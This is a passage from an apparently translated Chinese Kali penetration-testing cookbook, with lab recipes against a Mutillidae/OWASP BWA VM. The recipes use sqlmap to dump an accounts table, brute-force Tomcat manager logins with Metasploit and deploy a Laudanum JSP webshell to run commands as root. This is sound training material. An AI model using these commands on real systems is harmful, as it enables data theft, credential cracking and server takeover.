    sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp -T accounts --dump
    

    我們現(xiàn)在擁有完整的用戶表,并且我們可以看到,這里密碼并沒有加密,所以我們可以直接使用它們。

工作原理

SQLMap 會使用 SQL 注入字符串,對給定 URL 和數(shù)據(jù)的輸入進行模糊測試,或者只針對-p選項中的特定目標,并且解釋其響應(yīng)來發(fā)現(xiàn)是否存在漏洞。不要模糊測試所有輸入,最好使用 SQLMap 來利用我們已知存在的注入,并始終嘗試縮小搜索過程,通過提供所有可用的信息,例如漏洞參數(shù)、DBMS 類型,以及其它。在所有可能性下尋找注入會花費大量時間,并在網(wǎng)絡(luò)中產(chǎn)生非常大的流量。

這個秘籍中,我們已經(jīng)知道了用戶名參數(shù)存在注入漏洞(因為我們使用了 Mutillidae 的注入測試頁面)。在第一個攻擊中,我們只希望確認注入是否存在,并詢問一些非常基本的信息:用戶名(--curent-user)和數(shù)據(jù)庫名稱(--current-db)。

在第二個攻擊中,我們使用-D選項,以及前一次攻擊所獲得的名稱,指定希望查詢的數(shù)據(jù)庫,我們也使用--tables詢問了所包含的表名稱。

知道我們希望獲得哪個表(-T accounts)之后,我們告訴 SQLMap 使用--dump轉(zhuǎn)儲它的內(nèi)容。

更多

SQLMap 也能夠注入 POST 參數(shù)中的輸入變量。我們只需要添加--data選項并附帶 POST 數(shù)據(jù),例如:

--data "username=test&password=test"

有時候,我們需要在一些應(yīng)用中獲得身份驗證,以便能夠訪問應(yīng)用的漏洞 URL。如果是這樣,我們可以傳遞有效的會話 Cookie給 SQLMap, 使用--cookie選項:

--cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37" 

這在測試Cookie值的注入時也非常有用。

另一個有趣的特性是,使用--sql-shell選項,它可以為我們提供 SQL shell,其中我們可以執(zhí)行 SQL 查詢,就像我們直接連接到數(shù)據(jù)庫那樣。或更有趣的是,我們可以使用--osshell在數(shù)據(jù)庫服務(wù)器中執(zhí)行系統(tǒng)命令(在注入 MSSQL 服務(wù)器時特別有用)。

為了了解 SQLMap 擁有的所有選項和特性,你可以執(zhí)行:

sqlmap --help

另見

Kali 包含了用于檢測和利用 SQL 注入漏洞的其它工具,它們能夠用于代替或配合 SQLMap:

  • sqlninja:非常流行的工具,為利用 MSSQL 服務(wù)器而設(shè)計。
  • Bbqsql:Python 編寫的 SQL 盲注框架。
  • jsql:基于 Java 的工具,帶有完全自動化的 GUI,我們只需要輸入 URL 并按下按鈕。
  • Metasploit:它包含不同 DBMS 的多種 SQL 注入模塊。

6.9 使用 Metasploit 攻擊 Tomcat 的密碼

Apache Tomcat,是世界上最廣泛使用的 Java Web 服務(wù)器之一。帶有默認配置的 Tomcat 服務(wù)器非常容易發(fā)現(xiàn)。發(fā)現(xiàn)暴露 Web 應(yīng)用管理器的服務(wù)器也非常容易,它是一個應(yīng)用,允許管理員啟動、停止、添加和刪除服務(wù)器中的應(yīng)用。

這個秘籍中,我們會使用 Metasploit 模塊來執(zhí)行 Tomcat 服務(wù)器上的字典攻擊來獲得管理器應(yīng)用的訪問。

準備

在我們開始使用 Metasploit 之前,我們需要在 root 終端中開啟數(shù)據(jù)庫服務(wù):

service postgresql start

操作步驟

  1. 啟動 Metasploit 的控制臺。

    msfconsole
    
  2. 啟動之后,我們需要加載合適的模塊,在msf>提示符之后鍵入下列代碼:

    use auxiliary/scanner/http/tomcat_mgr_login 
    
  3. 我們可能打算查看它使用什么參數(shù):

    show options
    
  4. 現(xiàn)在,我們設(shè)置目標主機:

    set rhosts 192.168.56.102
    
  5. 為了使它更快,但是不要太快,我們增加線程數(shù):

    set threads 5
    
  6. 同時,我們不希望讓我們的服務(wù)器由于太多請求而崩潰,所以我們降低爆破的速度:

    set bruteforce_speed 3 
    
  7. 剩余參數(shù)剛好適用于我們的情況,讓我們執(zhí)行攻擊:

    run
    

    在一些嘗試中失敗之后,我們發(fā)現(xiàn)了有效的密碼,它使用[+]標記。

工作原理

通常 Tomcat 使用 TCP 8080,它的管理器應(yīng)用位于/manager/html中。這個應(yīng)用使用基本的 HTTP 驗證。我們剛剛使用的 Metasploit 輔助模塊(tomcat_mgr_login)有一些值得提及的配置項:

  • BLANK_PASSWORDS:對每個嘗試的用戶添加空密碼測試。

  • PASSWORD:如果我們打算測試多個用戶的單一密碼,或者添加列表中沒有包含的項目,這就很實用。

  • PASS_FILE:用于測試的密碼列表。

  • Proxies:如果我們需要通過代理來訪問我們的目標,或者避免檢測,就用這個選項。

  • RHOSTS:單個主機,或多個(使用空格分隔),或者我們想要測試的主機列表文件(/path/to/file/with/hosts)。

  • RPORT:Tomcat 所使用的 TCP 端口。

  • STOP_ON_SUCCESS:發(fā)現(xiàn)有效密碼之后停止嘗試。

  • TARGERURI:主機中管理器應(yīng)用的位置。

  • USERNAME指定特殊的用戶名來測試,它可以被單獨測試,或者添加到定義在USER_FILE的列表中。

  • USER_PASS_FILE:包含要被測試的“用戶名 密碼”組合的文件。

  • USER_AS_PASS:將每個列表中的用戶名作為密碼嘗試。

另見

這個攻擊也可以由 Hydra 執(zhí)行,使用http-head作為服務(wù),-L選項來加載用戶列表,-P選項來加載密碼。

6.10 使用 Tomcat 管理器來執(zhí)行代碼

上一個秘籍中,我們獲得了 Tomcat 管理器的身份認證,并提到了它可以讓我們在服務(wù)器中執(zhí)行代碼。這個秘籍中,我們會使用它來登錄管理器并上傳新的應(yīng)用,這允許我們在服務(wù)器中執(zhí)行操作系統(tǒng)命令。

操作步驟

  1. 訪問http://192.168.56.102:8080/manager/html

  2. 被詢問用戶名和密碼時,使用上一個秘籍中獲得的:rootowaspbwa

  3. 一旦進入了管理器,尋找WAR file to deploy并點擊Browse按鈕。

  4. Kali 在/usr/share/laudanum包含了一些 webshall,在這里瀏覽它們并選擇文件/usr/share/laudanum/jsp/cmd.war

  5. 加載之后點擊Deploy

  6. 確保存在新的叫做cmd的應(yīng)用。

  7. 讓我們試一試,訪問http://192.168.56.102:8080/cmd/cmd.jsp

  8. 在文本框中嘗試命令,例如ifconfig

  9. 我們可以看到,我們可以執(zhí)行命令,但是為了弄清楚我們擁有什么用戶和什么權(quán)限,嘗試whoami命令:

    我們可以看到,Tomcat 在這臺服務(wù)器中運行在 root 權(quán)限下。這意味著我們這里擁有它的全部控制權(quán),并且能夠執(zhí)行任何操作,例如創(chuàng)建或刪除用戶,安裝軟件,配置操作系統(tǒng)選項,以及其它。

工作原理

一旦我們獲得了 Tomcat 管理器的身份認證,攻擊過程就相當直接了。我們僅僅需要足以讓我們上傳它的應(yīng)用。Laudanum 默認包含在 Kali 中,是多種語言和類型的 webshell 的集合,包括 PHP、ASP、 ASP.NET 和 JSP。對滲透測試者來說,什么比 webshell 更有用呢?

Tomcat 能夠接受以 WAR(Web 應(yīng)用歸檔)格式打包的 Java Web 應(yīng)用并將其部署到服務(wù)器上。我們剛剛使用了這一特性來上傳 Laudanum 中的 webshell。在它上傳和部署之后,我們?yōu)g覽它并且通過執(zhí)行系統(tǒng)命令,我們發(fā)現(xiàn)我們擁有這個系統(tǒng)的 root 訪問。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,818評論 6 531
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,185評論 3 414
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,656評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,647評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,446評論 6 405
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 54,951評論 1 321
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,041評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,189評論 0 287
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,718評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 40,602評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,800評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,316評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 44,045評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,419評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,671評論 1 281
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,420評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,755評論 2 371

推薦閱讀更多精彩內(nèi)容